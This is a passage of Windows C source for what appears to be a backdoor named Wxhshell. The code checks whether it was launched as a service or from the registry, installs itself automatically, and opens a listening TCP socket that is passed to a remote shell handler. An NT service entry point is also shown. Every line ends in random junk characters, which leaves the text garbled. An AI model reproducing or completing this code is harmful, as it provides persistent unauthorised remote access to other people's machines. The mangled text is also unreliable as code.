ULONG InheritedFromUniqueProcessId; 'kz[Gh*8
} PROCESS_BASIC_INFORMATION; V!Q1o!J
Alsr6uLT1
PROCNTQSIP NtQueryInformationProcess; -%*w&',G
0DFxVH_xN
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mar
BVFz~
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eaI!}#>R+
P{-f./(JD
HANDLE hProcess; ' N@1+v=
PROCESS_BASIC_INFORMATION pbi; ] hxE^/8 7
(KF=v31_m
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E9L)dMZSpj
if(NULL == hInst ) return 0; +4,v.B@
b :,S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N<\U$\i
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]ctlK'.
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *0
0K3
Yb<t~jm
if (!NtQueryInformationProcess) return 0; Y0||>LX
Y GZX}-
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FD&"k=p+X
if(!hProcess) return 0; l }i
.
7;UUS1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G:]w
UC\
CqRG !J
CloseHandle(hProcess); BN?OvQ
?>_[hZ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); WzC_M>_
if(hProcess==NULL) return 0; IfH*saN7
BmRk|b
HMODULE hMod; @} 61D
char procName[255]; F .(zS(q
unsigned long cbNeeded; ;eG,T-:
L%[om c?
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uH}cvshv
o0nKgq'w|x
CloseHandle(hProcess); :CQ-?mT^LA
_dT,%q
if(strstr(procName,"services")) return 1; // 以服务启动 W+&w'~M
~
cKmf]
return 0; // 注册表启动 eJ+uP,$
} }K!)Z}8
ng-g\&-
// 主模块 z]NzLz9VfL
int StartWxhshell(LPSTR lpCmdLine) `|1#Vuk
{ nQ0g,'o
SOCKET wsl; eRK
kHd-
BOOL val=TRUE; a|*{BlY
int port=0; ov{
struct sockaddr_in door; uIG,2u,
rI\G&OqpP
if(wscfg.ws_autoins) Install(); 6d RxfbL
F9sVMV
port=atoi(lpCmdLine); h|_E>6d)
R).?lnS
if(port<=0) port=wscfg.ws_port; Jv*(DFt!v
?]`kc
WSADATA data; !);kjXQS?
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a)+;<GZ~
H0zKL]D'>
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Fu*~{n
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?F@0"qi
door.sin_family = AF_INET; hcvWf\4'#q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); >i> %@
door.sin_port = htons(port); rpk
)i:k\
U{2[nF
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \;z*j|;B
closesocket(wsl); { XN"L3A
return 1; [>IAS>
} m'))prl
IpX>G]"-C
if(listen(wsl,2) == INVALID_SOCKET) { ^6*2a(S&
closesocket(wsl); d66
GO];"
return 1; JsfX&dX0
} ,;aELhMZ
Wxhshell(wsl); *(%]|z}]m
WSACleanup(); 87Sqs1>cw
nQ*9|v4
return 0; E,]G Ek
9'tElpDJ6#
} ;+%(@C51GE
zCvt"!}RRa
// 以NT服务方式启动 s3+^q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .^<4]
{ ]UR@V;JG
DWORD status = 0; Pg]&^d&